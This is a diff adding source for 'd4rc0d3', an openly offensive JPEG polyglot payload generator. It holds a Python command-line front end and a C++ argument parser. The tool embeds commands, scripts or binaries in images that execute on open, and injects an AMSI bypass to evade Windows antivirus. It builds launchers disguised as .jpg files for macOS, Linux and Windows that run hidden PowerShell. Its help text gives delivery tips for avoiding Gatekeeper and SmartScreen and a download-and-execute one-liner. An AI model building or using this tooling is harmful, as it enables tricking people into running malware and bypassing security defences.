+        '                                 ▀▀▀▀  ▀▀▀▄      ▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▄▄  ▀▀▀▀▀▀▀▀▀▀▀                            \n'
+        '                                  ▀▀▀   ▀▀▀      ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀   ▀▀  ▀▀▀▀▀▀▀▀▀▀                             \n'
+        '                                   ▀▀▄  ▀▀▀      ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀       ▀▀▀▀▀▀▀ ▀▀                             \n'
+        '                                     ▀  ▀▀▀     ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀      ▄▀▀▀▀▀▀  ▀                              \n'
+        '                                         ▀▀  ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀      ▀▀▀▀▀▀▀                                 \n'
+        '                                    ▄▄▄▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄  ▄▀▀▀▀▀▀                                  \n'
+        '                               ▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀                                  \n'
+        '                           ▄▄▀▀▀▀▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                                  \n'
+        '                       ▄▄▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                                  \n'
+        '                    ▄▄▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                               \n'
+        '                  ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄                          \n'
+        '                 ▄▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄                      \n'
+        '                 ▀▀ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                     \n'
+        '                 ▀▀ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                     \n'
+        '                 ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄▄                  \n'
+        '                ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▄               \n'
+        '             ▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄             \n'
+        '          ▄▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄           \n'
+        '        ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀          \n'
+        '      ▄▀▀▀▀▀▀▀▀▀▀▀▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄        \n'
+        '     ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄       \n'
+        '     ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀       \n'
+        '     ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀       \n'
+        '     ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀        \n'
+        '      ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀         \n'
+        '       ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀           \n'
+        '        ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                 \n'
+        '          ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                  \n'
+        '           ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                  \n'
+        '           ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                 \n'
+        '\n'
+        '  d4rc0d3  v5.0  —  jpeg polyglot payload generator\n'
+        '  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─\n'
+        '\n'
+    )
+    print(''.join(_LUCY))
+
+    default_img = os.path.join(os.path.dirname(__file__), 'cover.jpg')
+    img = input(f"Cover image [{default_img}]: ").strip() or default_img
+    if not os.path.isfile(img):
+        warn(f"Image not found: {img}"); sys.exit(1)
+
+    print(f"\n{C.BOLD}Payload type:{C.END}")
+    print("  1) Inline command   (runs everywhere, Slack-compatible)")
+    print("  2) PowerShell .ps1  (Windows + Linux/macOS via pwsh)")
+    print("  3) Script .py/.sh   (Linux/macOS, base64+XOR in post-EOI)")
+    print("  4) Binary .exe/.elf (any platform, base64+XOR in post-EOI)")
+    print("  5) Combined: command + file")
+    ptype = input("Type [1]: ").strip() or '1'
+
+    command = ''
+    payload_file = ''
+    if ptype in ('1',):
+        command = input("Command [id > /tmp/pwned.txt]: ").strip() or 'id > /tmp/pwned.txt'
+    elif ptype in ('2', '3', '4'):
+        payload_file = input("Payload file path: ").strip()
+        if not os.path.isfile(payload_file):
+            warn(f"File not found: {payload_file}"); sys.exit(1)
+    elif ptype == '5':
+        command = input("Pre-command: ").strip()
+        payload_file = input("Payload file path: ").strip()
+        if not os.path.isfile(payload_file):
+            warn(f"File not found: {payload_file}"); sys.exit(1)
+
+    print(f"\n{C.BOLD}Output targets:{C.END}")
+    print("  1) Polyglot JPEG only")
+    print("  2) Polyglot + macOS .zip")
+    print("  3) Polyglot + Linux .jpg (content detection)")
+    print("  4) Polyglot + Linux .jpg.desktop")
+    print("  5) Polyglot + Windows .lnk")
+    print("  6) All")
+    targets_in = input("Targets [6]: ").strip() or '6'
+    targets = set()
+    if '1' in targets_in or '6' in targets_in: targets.add('polyglot')
+    if '2' in targets_in or '6' in targets_in: targets.add('mac')
+    if '3' in targets_in or '6' in targets_in: targets.add('linux-jpg')
+    if '4' in targets_in or '6' in targets_in: targets.add('linux-dot')
+    if '5' in targets_in or '6' in targets_in: targets.add('windows')
+    if not targets: targets = {'polyglot'}
+
+    amsi = input("Inject AMSI bypass (Windows AV evasion)? [Y/n]: ").strip().lower() != 'n'
+    out  = input("Output directory [.]: ").strip() or '.'
+    show = input("Open image viewer on execution? [y/N]: ").strip().lower() == 'y'
+
+    return img, command, payload_file, targets, amsi, out, show
+
+
+# ── Main ────────────────────────────────────────────────────────────────────────
+
+def main():
+    parser = argparse.ArgumentParser(
+        prog='d4rc0d3',
+        description='JPEG polyglot payload generator — image that executes on open',
+        formatter_class=argparse.RawDescriptionHelpFormatter,
+        epilog=textwrap.dedent("""\
+            PAYLOAD TYPES:
+              -c "cmd"          inline command (Slack-safe, works everywhere)
+              file.ps1          PowerShell script (XOR-encrypted in ICC profile)
+              file.py / .sh     script (base64+XOR in post-EOI, Linux/macOS)
+              file.exe / .elf   binary (base64+XOR in post-EOI)
+              -c "cmd" file.ps1 combined: command runs first, then file
+
+            EXECUTION:
+              Linux/macOS:  sh photo.jpg
+              Windows:      powershell -ExecutionPolicy Bypass -File photo.jpg
+              PowerShell:   Rename to .ps1, then pwsh photo.ps1
+              Double-click: use --mac / --linux / --windows flags
+
+            EXAMPLES:
+              python3 d4rc0d3.py -c photo.jpg "id > /tmp/p.txt"
+              python3 d4rc0d3.py photo.jpg payload.ps1 --windows --mac --linux
+              python3 d4rc0d3.py -c photo.jpg "calc.exe" --windows -o /tmp/out/
+              python3 d4rc0d3.py photo.jpg shell.py --linux --amsi -o /tmp/out/
+        """),
+    )
+    parser.add_argument('image',   nargs='?', help='Cover JPEG/PNG image')
+    parser.add_argument('payload', nargs='?', help='Payload file (.ps1/.py/.sh/.exe/...)')
+    parser.add_argument('-c',      metavar='CMD', help='Inline shell command')
+    parser.add_argument('--mac',   action='store_true', help='Also generate macOS .app bundle (ZIP)')
+    parser.add_argument('--linux', action='store_true', help='Also generate Linux .jpg (content detection)')
+    parser.add_argument('--linux-dot', action='store_true', help='Also generate Linux .jpg.desktop')
+    parser.add_argument('--windows',   action='store_true', help='Also generate Windows .lnk')
+    parser.add_argument('--all',   action='store_true', help='Generate all platform outputs')
+    parser.add_argument('--amsi',  action='store_true', default=True,
+                        help='Inject AMSI bypass for Windows AV evasion (default: on)')
+    parser.add_argument('--no-amsi', action='store_true', help='Disable AMSI bypass injection')
+    parser.add_argument('--show',  action='store_true', help='Open image viewer on execution')
+    parser.add_argument('--keep',  action='store_true', help='Keep extracted payload file')
+    parser.add_argument('-d', '--extract-dir', default='', help='Extraction directory (default: /tmp)')
+    parser.add_argument('-o', '--output', default='.', help='Output directory (default: .)')
+
+    args = parser.parse_args()
+    has_flag = any([args.image, args.c, args.mac, args.linux,
+                    getattr(args, 'linux_dot', False), args.windows, args.all])
+
+    if not has_flag:
+        image, command, payload_file, targets, amsi, out, show = interactive()
+    else:
+        image        = args.image or ''
+        command      = args.c or ''
+        payload_file = args.payload or ''
+        amsi         = args.amsi and not args.no_amsi
+        out          = args.output
+        show         = args.show
+
+        if not image:
+            parser.error("cover image is required")
+        if not command and not payload_file:
+            parser.error("provide -c 'command' or a payload file")
+
+        targets = {'polyglot'}
+        if args.mac     or args.all: targets.add('mac')
+        if args.linux   or args.all: targets.add('linux-jpg')
+        if getattr(args, 'linux_dot', False) or args.all: targets.add('linux-dot')
+        if args.windows or args.all: targets.add('windows')
+
+    if not os.path.isfile(image):
+        warn(f"Image not found: {image}"); sys.exit(1)
+    if payload_file and not os.path.isfile(payload_file):
+        warn(f"Payload not found: {payload_file}"); sys.exit(1)
+
+    os.makedirs(out, exist_ok=True)
+
+    name      = stem(image)
+    poly_path = os.path.join(out, f"{name}.jpg")
+    generated = []
+
+    # ── Build polyglot ─────────────────────────────────────────────────────
+    head("Building JPEG polyglot")
+
+    try:
+        build_polyglot_av(image, poly_path, command, payload_file,
+                          show, getattr(args, 'keep', False),
+                          getattr(args, 'extract_dir', ''), amsi)
+    except Exception as e:
+        warn(str(e)); sys.exit(1)
+
+    ok(f"Polyglot JPEG  → {poly_path}  ({os.path.getsize(poly_path):,} bytes)")
+    ptype = 'inline command' if command and not payload_file else \
+            payload_type(payload_file) if payload_file else 'command+file'
+    info(f"Payload type: {ptype}")
+    info(f"AMSI bypass:  {'injected' if amsi else 'skipped'}")
+    info(f"XOR key:      embedded in ICC profile (offset 102)")
+    generated.append(('Polyglot JPEG', poly_path))
+
+    # ── Platform-specific launchers ────────────────────────────────────────
+    exec_cmd = command or f'sh "{poly_path}"'
+
+    if 'mac' in targets:
+        head("macOS .app bundle")
+        try:
+            z = build_macos(image, exec_cmd, out)
+            ok(f"macOS ZIP      → {z}  ({os.path.getsize(z):,} bytes)")
+            info(f"Finder shows:  '{name}.jpg'  (single .app extension, .app hidden by Finder)")
+            info(f"Double-click → Preview opens photo + payload runs in background")
+            info(f"Delivery:      USB/LAN share to avoid Gatekeeper quarantine")
+            generated.append(('macOS (.app in ZIP)', z))
+        except Exception as e:
+            warn(f"macOS build failed: {e}")
+
+    if 'linux-jpg' in targets:
+        head("Linux .desktop (named .jpg)")
+        try:
+            # Use a distinct stem so it doesn't overwrite the polyglot
+            linux_img_copy = os.path.join(out, f"{name}_launch.jpg")
+            import shutil
+            shutil.copy2(image, linux_img_copy)
+            d = build_linux(linux_img_copy, exec_cmd, out, jpg_name=True)
+            ok(f"Linux .jpg     → {d}  ({os.path.getsize(d)} bytes)")
+            info(f"Name visible:  '{name}_launch.jpg'  (no .desktop in filename)")
+            info(f"Thunar / Nemo / Caja: executes on double-click (GIO content detection)")
+            info(f"Nautilus (GNOME):     may show 'Trust and Launch' dialog")
+            generated.append(('Linux (content detection)', d))
+        except Exception as e:
+            warn(f"Linux build failed: {e}")
+
+    if 'linux-dot' in targets:
+        head("Linux .desktop (explicit extension)")
+        try:
+            d = build_linux(image, exec_cmd, out, jpg_name=False)
+            ok(f"Linux .desktop → {d}  ({os.path.getsize(d)} bytes)")
+            info(f"Name visible:  '{name}.jpg.desktop'")
+            info(f"All major file managers execute without dialog (except Nautilus)")
+            generated.append(('Linux (.desktop)', d))
+        except Exception as e:
+            warn(f"Linux .desktop build failed: {e}")
+
+    if 'windows' in targets:
+        head("Windows .lnk launcher")
+        try:
+            ps_cmd = (
+                f'powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass '
+                f'-File "{os.path.abspath(poly_path)}"'
+            )
+            lnk = build_windows_lnk(poly_path, out)
+            ok(f"Windows .lnk   → {lnk}  ({os.path.getsize(lnk)} bytes)")
+            info(f"Explorer shows: '{name}.jpg'  (Explorer hides .lnk by default)")
+            info(f"Double-click → PowerShell runs the polyglot silently")
+            info(f"Requires:      PowerShell (pre-installed on all modern Windows)")
+            info(f"SmartScreen:   may warn for files from internet (deliver via USB/LAN)")
+            generated.append(('Windows (.lnk)', lnk))
+        except Exception as e:
+            warn(f"Windows .lnk build failed: {e}")
+
+    # ── Summary ────────────────────────────────────────────────────────────
+    print(f"\n{'─'*54}")
+    print(f"{C.BOLD}Generated:{C.END}")
+    for label, path in generated:
+        print(f"  {C.GREEN}✓{C.END} [{label}]")
+        print(f"      {path}")
+
+    print(f"\n{C.BOLD}Execution reference:{C.END}")
+    print(f"  Linux / macOS:  sh {os.path.basename(poly_path)}")
+    print(f"  Windows:        powershell -ExecutionPolicy Bypass -File {os.path.basename(poly_path)}")
+    print(f"  PS rename:      ren {name}.jpg {name}.ps1  &&  pwsh {name}.ps1")
+    if 'mac' in targets:
+        print(f"  macOS click:    extract {name}.zip → double-click {name}.jpg")
+    if 'windows' in targets:
+        print(f"  Windows click:  double-click {name}.jpg.lnk (shows as {name}.jpg)")
+    print(f"{'─'*54}\n")
+
+
+if __name__ == '__main__':
+    main()

src/args.cpp

@@ -0,0 +1,377 @@
+#include "args.h"
+
+#include <cstdio>
+#include <format>
+#include <iostream>
+#include <print>
+#include <stdexcept>
+#include <string>
+#include <string_view>
+
+namespace fs = std::filesystem;
+
+namespace {
+
+    void printInteractiveBanner() {
+        std::print(R"(
+  ┌─────────────────────────────────────────────────┐
+  │                                                 │
+  │    ▓█████▄  ██░ ██  ██▀███   ██ ▄█▀ ▄████▄     │
+  │    ▒██▀ ██▌▓██░ ██▒▓██ ▒ ██▒ ██▄█▒ ██▀ ▀█     │
+  │    ░██   █▌▒██▀▀██░▓██ ░▄█ ▒▓███▄░ ▓█    ▄     │
+  │    ░▓█▄   ▌░▓█ ░██ ▒██▀▀█▄  ▓██ █▄▒▓▓▄ ▄██▒   │
+  │    ░▒████▓  ░▓█▒░██▓░██▓ ▒██▒▒██▒ █▄▒ ▓███▀ ░  │
+  │     ▒▒▓  ▒   ▒ ░░▒░░ ▒▓ ░▒▓░▒ ▒▒ ▓▒░ ░▒ ▒  ░  │
+  │                                                 │
+  │       d4rkc0d3 — JPG Polyglot Embedder v4.0     │
+  │                                                 │
+  └─────────────────────────────────────────────────┘
+)");
+    }
+
+    void printHelp(std::string_view prog) {
+        std::print(R"(
+
+  d4rkc0d3 v4.0 — JPG Polyglot Embedder
+
+  Embeds scripts, executables, or inline commands within a JPG image,
+  creating a polyglot file that works as both a valid image and runnable code.
+
+  ──────────────────────────
+  Supported payload types
+  ──────────────────────────
+
+    Scripts:     .ps1 .sh .bash .zsh .py .rb .pl .bat .cmd
+    Binaries:    .exe .elf .bin .out .appimage .dll .so .dylib
+
+    .ps1 scripts are embedded directly (original behavior).
+    All other payloads are base64-encoded with an auto-extract bootstrap.
+
+  ──────────────────────────
+  Usage (CLI mode)
+  ──────────────────────────
+
+    {0} [-alt] [--keep] [--show] [--seq] [-d dir] [-o output] <cover_image> <payload_file>
+    {0} [-alt] [--keep] [--show] [--seq] [-d dir] [-o output] -c <cover_image> "commands"
+    {0} --help
+
+    Run without arguments for interactive mode.
+
+  ──────────────────────────
+  Flags
+  ──────────────────────────
+
+    -alt          Use alternative tail patch
+    -o <name>     Set output filename (default: d4rc0d3_<random>.jpg)
+    -c            Inline PowerShell commands mode
+    --keep        Keep extracted file after execution (don't auto-delete)
+    --show        Open image in viewer when executing (stealth mode)
+    --seq         Wait for image viewer to close before running payload
+    -d <path>     Custom extraction directory (default: /tmp or system temp)
+
+  ──────────────────────────
+  Examples
+  ──────────────────────────
+
+    {0} cover.jpg script.ps1
+    {0} cover.jpg backdoor.sh
+    {0} cover.jpg calc.exe
+    {0} -c cover.jpg "hostname;whoami"
+    {0} -o stealth.jpg cover.jpg large.elf
+
+  ──────────────────────────
+  Execution
+  ──────────────────────────
+
+    Direct:      ./output.jpg              (Linux/Mac, already +x)
+    PowerShell:  pwsh output.jpg
+    Windows:     powershell -ExecutionPolicy Bypass -File output.jpg
+
+    One-liner:
+      curl -o i.jpg "URL" && chmod +x i.jpg && ./i.jpg
+
+  Max cover image size: 5MB.
+
+    )", prog);
+    }
+
+    [[nodiscard]] std::string trimWhitespace(const std::string& s) {
+        const auto start = s.find_first_not_of(" \t\r\n");
+        if (start == std::string::npos) return "";
+        const auto end = s.find_last_not_of(" \t\r\n");
+        return s.substr(start, end - start + 1);
+    }
+
+    [[nodiscard]] std::string cleanInputPath(const std::string& raw) {
+        std::string s = trimWhitespace(raw);
+        if (s.size() >= 2) {
+            if ((s.front() == '"' && s.back() == '"') ||
+                (s.front() == '\'' && s.back() == '\'')) {
+                s = s.substr(1, s.size() - 2);
+            }
+        }
+        std::string cleaned;
+        cleaned.reserve(s.size());
+        for (std::size_t i = 0; i < s.size(); ++i) {
+            if (s[i] == '\\' && i + 1 < s.size() && s[i + 1] == ' ') {
+                cleaned += ' ';
+                ++i;
+            } else {
+                cleaned += s[i];
+            }
+        }
+        return cleaned;
+    }
+
+    [[nodiscard]] std::string readLine(std::string_view prompt) {
+        std::print("  {}", prompt);
+        std::fflush(stdout);
+        std::string line;
+        if (!std::getline(std::cin, line)) {
+            std::println("");
+            throw std::runtime_error("Input cancelled.");
+        }
+        return line;
+    }
+
+    [[nodiscard]] bool readYesNo(std::string_view prompt, bool default_val) {
+        const std::string s = trimWhitespace(readLine(prompt));
+        if (s.empty()) return default_val;
+        return s[0] == 'y' || s[0] == 'Y';
+    }
+
+    [[nodiscard]] std::string_view modeTag(PayloadMode mode) {
+        switch (mode) {
+            case PayloadMode::DirectPwsh: return "PowerShell (direct embed)";
+            case PayloadMode::Script:     return "script (base64 bootstrap)";
+            case PayloadMode::Binary:     return "binary (base64 bootstrap)";
+            case PayloadMode::Command:    return "inline commands";
+        }
+        return "unknown";
+    }
+
+    [[nodiscard]] std::optional<ProgramArgs> interactiveMode() {
+        printInteractiveBanner();
+
+        std::println("\n  Select payload mode:\n");
+        std::println("    [1] Inline commands only");
+        std::println("    [2] Script or executable");
+        std::println("    [3] Commands + script/executable");
+
+        const std::string mode_str = trimWhitespace(readLine("\n  Mode (1-3): "));
+
+        if (mode_str != "1" && mode_str != "2" && mode_str != "3") {
+            throw std::runtime_error("Invalid mode selection. Expected 1, 2, or 3.");
+        }
+        const int mode = mode_str[0] - '0';
+
+        std::println("");
+
+        ProgramArgs args{};
+
+        const std::string image_raw = readLine("Cover image path: ");
+        args.image_file_path = fs::path(cleanInputPath(image_raw));
+        if (args.image_file_path.empty()) {
+            throw std::runtime_error("Cover image path cannot be empty.");
+        }
+
+        if (mode == 2 || mode == 3) {
+            const std::string payload_raw = readLine("Payload file path: ");
+            args.payload_file_path = fs::path(cleanInputPath(payload_raw));
+            if (args.payload_file_path.empty()) {
+                throw std::runtime_error("Payload file path cannot be empty.");
+            }
+            args.payload_mode = detectPayloadMode(args.payload_file_path);
+            std::println("  → Detected: {}", modeTag(args.payload_mode));
+        }
+
+        if (mode == 1 || mode == 3) {
+            const std::string cmd_raw = readLine("Inline commands: ");
+            args.inline_commands = trimWhitespace(cmd_raw);
+            if (args.inline_commands.empty()) {
+                throw std::runtime_error("Inline commands cannot be empty.");
+            }
+            if (mode == 1) {
+                args.payload_mode = PayloadMode::Command;
+            }
+        }
+
+        std::println("\n  ── Options ──");
+        args.option = readYesNo("Alt tail patch? [y/N]: ", false) ? Option::Alt : Option::None;
+        args.show_image = readYesNo("Open image viewer on execution? [y/N]: ", false);
+        if (args.show_image) {
+            args.sequential = readYesNo("Wait for viewer to close before running payload? [y/N]: ", false);
+        }
+
+        if (mode == 2 || mode == 3) {
+            args.keep_extracted = readYesNo("Keep extracted file after execution? [y/N]: ", false);
+
+            const std::string dir_raw = readLine("Extraction directory [Enter = /tmp (Linux/Mac) or %%TEMP%% (Windows)]: ");
+            std::string dir = trimWhitespace(dir_raw);
+            if (!dir.empty()) {
+                args.extract_dir = dir;
+            }
+        }
+
+        const std::string name_raw = readLine("Output filename [Enter = d4rc0d3_<random>.jpg]: ");
+        std::string name = trimWhitespace(name_raw);
+        if (!name.empty() && fs::path(name).extension().empty()) {
+            name += ".jpg";
+        }
+        args.output_filename = name;
+
+        std::println("");
+        return args;
+    }
+
+    [[nodiscard]] std::string displayProgramName(std::string_view program_name) {
+        std::string prog = fs::path(program_name).filename().string();
+        if (prog.empty()) {
+            prog = "d4rkc0d3";
+        }
+        return prog;
+    }
+
+    [[nodiscard]] std::runtime_error usageError(std::string_view program_name) {
+        constexpr std::string_view PREFIX = "Usage: ";
+        const std::string prog = displayProgramName(program_name);
+        return std::runtime_error(std::format("{}{} [-alt] [--keep] [--show] [--seq] [-d dir] [-o output] <cover_image> <payload>\n"
+                                              "{}{} [-alt] [--keep] [--show] [--seq] [-d dir] [-o output] -c <cover_image> \"commands\"\n"
+                                              "{}{} --help\n"
+                                              "{}Run without arguments for interactive mode.",
+                                              PREFIX, prog,
+                                              std::string(PREFIX.size(), ' '), prog,
+                                              std::string(PREFIX.size(), ' '), prog,
+                                              std::string(PREFIX.size(), ' ')));
+    }
+
+    [[nodiscard]] const char* argumentAt(int argc, char** argv, int index, const char* program_name) {
+        if (argv == nullptr || index < 0 || index >= argc || argv[index] == nullptr) {
+            throw usageError(program_name);
+        }
+        return argv[index];
+    }
+
+    struct ParseState {
+        int next_arg = 1;
+    };
+
+    void parseFlags(int argc, char** argv, const char* program_name, ProgramArgs& out, ParseState& state) {
+        while (state.next_arg < argc) {
+            const std::string_view arg = argumentAt(argc, argv, state.next_arg, program_name);
+
+            if (arg == "-alt") {
+                out.option = Option::Alt;
+                ++state.next_arg;
+            } else if (arg == "--keep") {
+                out.keep_extracted = true;
+                ++state.next_arg;
+            } else if (arg == "--show") {
+                out.show_image = true;
+                ++state.next_arg;
+            } else if (arg == "--seq") {
+                out.sequential = true;
+                ++state.next_arg;
+            } else if (arg == "-d") {
+                ++state.next_arg;
+                if (state.next_arg >= argc) {
+                    throw std::runtime_error("-d requires an extraction directory path.");
+                }
+                out.extract_dir = argumentAt(argc, argv, state.next_arg, program_name);
+                if (out.extract_dir.empty()) {
+                    throw std::runtime_error("-d requires a non-empty path.");
+                }
+                ++state.next_arg;
+            } else if (arg == "-o") {
+                ++state.next_arg;
+                if (state.next_arg >= argc) {
+                    throw std::runtime_error("-o requires an output filename.");
+                }
+                out.output_filename = argumentAt(argc, argv, state.next_arg, program_name);
+                if (out.output_filename.empty()) {
+                    throw std::runtime_error("-o requires a non-empty filename.");
+                }
+                if (fs::path(out.output_filename).extension().empty()) {
+                    out.output_filename += ".jpg";
+                }
+                ++state.next_arg;
+            } else {
+                break;
+            }
+        }
+    }
+
+    void parseCommandMode(int argc, char** argv, const char* program_name, ProgramArgs& out, ParseState& state) {
+        if (state.next_arg >= argc) {
+            throw usageError(program_name);
+        }
+
+        const std::string_view arg = argumentAt(argc, argv, state.next_arg, program_name);
+
+        if (arg == "-c") {
+            out.payload_mode = PayloadMode::Command;
+            ++state.next_arg;
+
+            if (state.next_arg + 1 >= argc) {
+                throw usageError(program_name);
+            }
+
+            out.image_file_path = fs::path(argumentAt(argc, argv, state.next_arg, program_name));
+            ++state.next_arg;
+
+            out.inline_commands = argumentAt(argc, argv, state.next_arg, program_name);
+            ++state.next_arg;
+
+            if (out.image_file_path.empty() || out.inline_commands.empty()) {
+                throw usageError(program_name);
+            }
+            return;
+        }
+
+        if (state.next_arg + 1 >= argc) {
+            throw usageError(program_name);
+        }
+
+        out.image_file_path = fs::path(argumentAt(argc, argv, state.next_arg, program_name));
+        ++state.next_arg;
+
+        out.payload_file_path = fs::path(argumentAt(argc, argv, state.next_arg, program_name));
+        ++state.next_arg;
+
+        if (out.image_file_path.empty() || out.payload_file_path.empty()) {
+            throw usageError(program_name);
+        }
+
